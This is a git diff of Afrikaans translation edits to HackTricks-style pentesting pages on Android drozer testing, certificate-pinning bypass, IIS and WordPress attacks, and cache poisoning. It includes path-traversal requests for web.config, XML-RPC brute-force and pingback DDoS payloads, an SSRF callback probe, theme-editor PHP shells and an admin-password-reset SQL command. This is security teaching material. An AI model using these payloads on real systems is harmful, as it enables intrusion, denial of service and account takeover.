**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar gedeel word met gidse om te voorkom dat sensitiewe data per ongeluk blootgestel word.
**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar vouers gedeel word om te voorkom dat sensitiewe data per ongeluk blootgestel word.
Voorbeeld manifest verklaring vir FileProvider:
Voorbeeld manifestverklaring vir FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -325,10 +325,10 @@ Vir verdere inligting, kyk:
WebViews is soos **mini webblaaiers** binne Android-apps, wat inhoud trek of van die web of van plaaslike lêers. Hulle ondervind soortgelyke risiko's as gewone blaaiers, maar daar is maniere om hierdie **risiko's te verminder** deur spesifieke **instellings**.
Android bied twee hoof WebView tipes:
Android bied twee hoof WebView-tipes:
- **WebViewClient** is uitstekend vir basiese HTML, maar ondersteun nie die JavaScript waarskuwing funksie nie, wat die toetsing van XSS-aanvalle beïnvloed.
- **WebChromeClient** funksioneer meer soos die volle Chrome-blaaier ervaring.
- **WebChromeClient** funksioneer meer soos die volle Chrome-blaaierervaring.
'n Sleutelpunt is dat WebView-blaaiers **nie koekies deel nie** met die toestel se hoofblaaier.

View File

@ -2,6 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
## APKs om te toets
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (van mrwlabs)
@ -17,7 +19,7 @@ pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
Laai die drozer APK af en installeer dit vanaf die [nuutste vrystellings](https://github.com/mwrlabs/drozer/releases). Op hierdie oomblik is dit [hierdie](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
Laai drozer APK af en installeer dit vanaf die [nuutste vrystellings](https://github.com/mwrlabs/drozer/releases). Op hierdie oomblik is dit [hierdie](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
@ -40,17 +42,17 @@ drozer console connect
| **Opdragte** | **Beskrywing** |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Wys hulp van die geselekteerde module |
| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules waarvoor jy nie die toepaslike regte het om te loop nie. |
| **shell** | Begin 'n interaktiewe Linux-skal op die toestel, in die konteks van die Agent. |
| **clean** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor is. |
| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules waarvoor jy nie toepaslike regte het om te loop nie. |
| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent. |
| **clean** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor is. |
| **load** | Laai 'n lêer wat drozer-opdragte bevat en voer dit in volgorde uit. |
| **module** | Vind en installeer addisionele drozer modules van die Internet. |
| **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skale wat dit genereer, deurgee. |
| **set** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skale wat deur drozer gegenereer word, deurgegee sal word. |
| **shell** | Begin 'n interaktiewe Linux-skal op die toestel, in die konteks van die Agent |
| **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skaal wat dit genereer, deurgee. |
| **set** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skaal wat deur drozer gegenereer word, deurgegee sal word. |
| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent |
| **run MODULE** | Voer 'n drozer module uit |
| **exploit** | Drozer kan eksplosiewe skep om in die toestel uit te voer. `drozer exploit list` |
| **payload** | Die eksplosiewe benodig 'n payload. `drozer payload list` |
| **exploit** | Drozer kan eksploiters skep om in die toestel uit te voer. `drozer exploit list` |
| **payload** | Die eksploiters benodig 'n payload. `drozer payload list` |
### Pakket
@ -93,15 +95,15 @@ Attack Surface:
2 services exported
is debuggable
```
- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe magtiging omseil wat jou moet keer om dit te begin.
- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe magtiging omseil wat jou moet verhinder om dit te begin.
- **Inhoudverskaffers**: Miskien kan jy privaat data toegang of 'n sekuriteitskwesbaarheid (SQL Injection of Path Traversal) benut.
- **Dienste**:
- **is debuggable**: [Leer meer](#is-debuggeable)
### Aktiwiteite
'n Geverifieerde aktiwiteit komponent se “android:exported” waarde is op **“true”** in die AndroidManifest.xml-lêer:
```markup
'n Geverifieerde aktiwiteit komponent se “android:exported” waarde is op **“true”** in die AndroidManifest.xml-lêer gestel:
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
@ -126,14 +128,14 @@ U kan ook 'n geexporteerde aktiwiteit vanaf **adb** begin:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### Inhoud Verskaffers
### Inhoudverskaffers
Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy hier toegang**](exploiting-content-providers.md).
Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy hier toegang**](exploiting-content-providers.md) verkry.
### Dienste
'n Geverifieerde diens word binne die Manifest.xml verklaar:
```markup
'n Gedeelde diens word binne die Manifest.xml verklaar:
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Binnen die kode **check** vir die \*\*`handleMessage`\*\* funksie wat die **message** sal **receive**:
@ -185,7 +187,7 @@ Nadat jy hierdie Uitsendingsontvangers ontdek het, moet jy die **kode** daarvan
```bash
run app.broadcast.info #Detects all
```
#### Kontroleer uitsendingsontvangers van 'n app
#### Kontroleer uitsaaierontvangers van 'n app
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
@ -227,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Is debuggeable
'n Produksie APK moet nooit debuggeable wees.\
Dit beteken dat jy **java debugger** aan die lopende toepassing kan heg, dit in werksiklus kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg.
Dit beteken dat jy 'n **java debugger** aan die lopende toepassing kan heg, dit in werklike tyd kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg.
Wanneer 'n toepassing debuggeable is, sal dit in die Manifest verskyn:
```xml

View File

@ -4,7 +4,7 @@ Sommige toepassings hou nie van gebruikersafgelaaide sertifikate nie, so om webv
# Outomaties
Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing aanbring om die versoeke te begin vasvang en sal ook sertifikaat-pinning deaktiveer (indien daar is).
Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing maak om die versoeke te begin vasvang en sal ook sertifikaat-pinning deaktiveer (indien enige).
# Handmatig
@ -24,8 +24,8 @@ Na toevoeging:
![](../../images/img11.png)
Nou gaan in die **res/xml**-map en skep/wysig 'n lêer genaamd network_security_config.xml met die volgende inhoud:
```markup
Gaan nou in die **res/xml**-map en skep/wysig 'n lêer genaamd network_security_config.xml met die volgende inhoud:
```html
<network-security-config>
<base-config>
<trust-anchors>

View File

@ -16,7 +16,7 @@ Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verw
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Antwoord wat die interne IP bekendmaak:
Antwoord wat die interne IP openbaar:
```
GET / HTTP/1.0
@ -29,9 +29,9 @@ X-FEServer: NHEXCHANGE2016
```
## Voer .config lêers uit
Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML-kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Meer inligting en tegnieke om hierdie kwesbaarheid te ontgin [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
Meer inligting en tegnieke om hierdie kwesbaarheid te benut [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Ontdekking Bruteforce
@ -68,7 +68,7 @@ In **.Net MVC aansoeke**, speel die **web.config** lêer 'n belangrike rol deur
### **Verkenning van Binêre Lêers**
'n Voorbeeld van toegang tot die **web.config** lêer word hieronder getoon:
```markup
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
@ -82,21 +82,21 @@ Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, geleë is binne die toepassing se /bin gids.
### **Wortelgids Lêers**
### **Worteldirectory Lêers**
Lêers wat in die wortelgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
Lêers wat in die worteldirectory gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
### **Namespaces en Web.Config**
MVC-toepassings definieer ook addisionele **web.config lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
```markup
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Aflaai van DLL's**
### **Aflaai DLL's**
Die vermelding van 'n pasgemaakte naamruimte dui op 'n DLL genaamd "**WebApplication1**" wat in die /bin-gids teenwoordig is. Na hierdie, word 'n versoek om die **WebApplication1.dll** af te laai, gewys:
```markup
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
@ -190,14 +190,14 @@ As jy 'n fout soos die volgende sien:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-header ontvang het.\
Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy dalk **brute force VHosts** moet doen totdat jy die korrekte een vind.
Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy **brute force VHosts** moet gebruik totdat jy die korrekte een vind.
## Ou IIS kwesbaarhede wat die moeite werd is om na te kyk
### Microsoft IIS tilde karakter “\~” Kwesbaarheid/Funksie Korte Lêer/Map Naam Ontsluiting
Jy kan probeer om **mappe en lêers** binne elke ontdekte map te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat **dit slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat dit **slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -219,9 +219,9 @@ Jy kan probeer om hierdie **kwesbaarheid** en die laaste een te **meng** om nuwe
ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word `trace.axd` genoem.
Dit hou 'n baie gedetailleerde log van alle versoeke wat oor 'n tydperk aan 'n toepassing gemaak is.
Dit hou 'n baie gedetailleerde logboek van alle versoeke wat oor 'n tydperk aan 'n toepassing gemaak is.
Hierdie inligting sluit afgeleë kliënt IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in.
Hierdie inligting sluit afstandsklient IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -233,10 +233,10 @@ ASPXAUTH gebruik die volgende inligting:
- **`validationKey`** (string): hex-gecodeerde sleutel om te gebruik vir handtekeningvalidasie.
- **`decryptionMethod`** (string): (standaard “AES”).
- **`decryptionIV`** (string): hex-gecodeerde inisialisering vektor (standaard na 'n vektor van nulles).
- **`decryptionIV`** (string): hex-gecodeerde inisialiseringvektor (standaard na 'n vektor van nulles).
- **`decryptionKey`** (string): hex-gecodeerde sleutel om te gebruik vir ontsleuteling.
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die **koekie van die tweede bediener in die eerste een** te gebruik en die gebruiker na te boots.\
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die koekie van die tweede bediener in die eerste een te **gebruik** en die gebruiker na te boots.\
Hierdie aanval het gewerk in hierdie [**skrywe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS Verifikasie Omseiling met gekapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>

View File

@ -22,15 +22,15 @@
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om oorgedra te word met HTTP wat as die vervoermeganisme en XML as die koderingmeganisme optree. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om met HTTP oorgedra te word as die vervoermeganisme en XML as die koderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word.
- `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai word, gestoor word.
- `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieë.
- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al openbare plasings en publiek navraagbare plasings tipes en taksonomieë.
**Post eksploitatie**
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
### Gebruikers Toestemmings
@ -103,7 +103,7 @@ Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. *
Neem ook kennis dat **/wp-json/wp/v2/pages** IP-adresse kan lek.
- **Aanmeld gebruikersnaam enumerasie**: Wanneer jy aanmeld in **`/wp-login.php`** is die **boodskap** **anders** as die aangeduide **gebruikersnaam bestaan of nie**.
- **Inlog gebruikersnaam enumerasie**: Wanneer jy inlog in **`/wp-login.php`** is die **boodskap** **anders** as die aangeduide **gebruikersnaam bestaan of nie**.
### XML-RPC
@ -112,7 +112,7 @@ As `xml-rpc.php` aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit g
Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek:
**Kontroleer**
```markup
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
@ -123,7 +123,7 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_
**Geloofsbriewe Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:
```markup
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
@ -139,7 +139,7 @@ Die boodskap _"Onkorrekte gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoor
![](<../../images/image (721).png>)
Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die antwoord sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
@ -174,13 +174,13 @@ Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.mul
**Om 2FA te omseil**
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS of poort skandering**
As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrêre versoek na enige gasheer/poort te stuur.\
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** te verkry tot een **plek** (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui).
```markup
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** te kry (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui).
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
@ -196,7 +196,7 @@ As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit die
Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
**DDoS**
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
@ -211,13 +211,13 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\
Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
### /wp-json/oembed/1.0/proxy - SSRF
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek na jou maak.
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek aan jou maak.
Dit is die antwoord wanneer dit nie werk nie:
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Kry toegang deur 'n bietjie te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omflip. So jy kon die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP.
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omdraai. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -254,7 +254,7 @@ Verander die inhoud na 'n php shell:
![](<../../images/image (384).png>)
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -295,7 +295,7 @@ Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
### Uploading and activating malicious plugin
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en kan benut word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installasie**:
@ -334,11 +334,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Aanvaloppervlak
Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/).
Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit mag blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce sal baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol).
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol).
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
```php
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).**
> [!CAUTION]
> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae geprivilegieerde gebruikers mag toegang hê tot hoë geprivilegieerde aksies.
> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelogde is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae-bevoegde gebruikers mag toegang hê tot hoë-bevoegde aksies.
- **REST API**
@ -384,9 +384,9 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**.
### Sekuriteitsinproppe
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
- [**Wordfence Sekuriteit**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Sekuriteit**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Sekuriteit**](https://wordpress.org/plugins/better-wp-security/)
### **Ander Aanbevelings**

View File

@ -6,8 +6,8 @@
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
>
> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
## Cache Poisoning
@ -15,7 +15,7 @@ Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om klië
Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis word vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
